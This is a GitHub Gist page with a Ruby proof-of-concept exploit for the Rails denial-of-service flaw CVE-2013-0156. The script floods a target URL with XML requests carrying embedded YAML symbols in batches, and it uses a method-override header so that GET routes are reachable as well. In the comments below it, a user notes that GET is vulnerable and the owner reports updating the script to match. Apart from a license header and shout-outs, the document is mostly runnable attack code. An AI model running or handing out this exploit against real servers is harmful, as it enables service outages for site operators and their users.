Last active

Embed URL

HTTPS clone URL

SSH clone URL

You can clone with HTTPS or SSH.

Download Gist

Proof-of-Concept exploit for Rails DoS (CVE-2013-0156)

View rails_dos.rb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
#!/usr/bin/env ruby
#
# Proof-of-Concept exploit for Rails DoS (CVE-2013-0156)
#
# ## Advisory
#
# https://groups.google.com/forum/#!topic/rubyonrails-security/61bkgvnSGTQ/discussion
#
# ## Synopsis
#
# $ rails_dos URL PARAM
#
# ## Dependencies
#
# $ gem install ronin-support
#
# ## License
#
# Copyright (c) 2013 Postmodern
#
# This exploit is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This exploit is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this exploit. If not, see <http://www.gnu.org/licenses/>.
#
# ## Shoutz
#
# drraid, cd, px, sanitybit, sysfail, trent, dbcooper, goldy, coderman, letch,
# starik, toby, jlt, HockeyInJune, cloud, zek, natron, amesc, postmodern,
# mephux, nullthreat, evoltech, flatline, r0bglesson, @ericmonti, @charliesome,
# @homakov, @envygeek, @chendo, @bitsweat (for introducing the vuln),
# @tenderlove (for fixing it), Fun Town Auto, garbage pail kids, hipsters,
# the old Jolly Inn, Irvin Santiago, that heavy metal dude who always bummed
# cigarettes off us, SophSec crew and affiliates.
#
 
require 'ronin/fuzzing'
require 'ronin/network/http'
require 'ronin/ui/output'
 
include Ronin::Network::HTTP
include Ronin::UI::Output::Helpers
 
unless ARGV.length == 2
$stderr.puts "usage: #{$0} URL PARAM"
exit -1
end
 
url = ARGV[0]
param = ARGV[1]
 
width = 15
batch = 400
 
symbols = String.generate([:alpha, 1..width])
 
symbols.each_slice(batch).each_with_index do |symbols,i|
yaml = ['---', *symbols.map { |symbol| ":#{symbol}: true" }].join("\n")
 
xml = %{
<?xml version="1.0" encoding="UTF-8"?>
<#{param} type="yaml">#{yaml}</#{param}>
}.strip
 
print_info "POSTing batch ##{i + 1} of #{batch} Symbols to #{url} ..."
 
response = http_post(
:url => url,
:headers => {
:content_type => 'text/xml',
:x_http_method_override => 'get'
},
:body => xml
)
 
print_debug "Received #{response.code} response"
end

GET is also vulnerable since you can still have a request body for GETs.

Owner

@chendo Updated to use X-Http-Method-Override, now works against GET routes.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Something went wrong with that request. Please try again.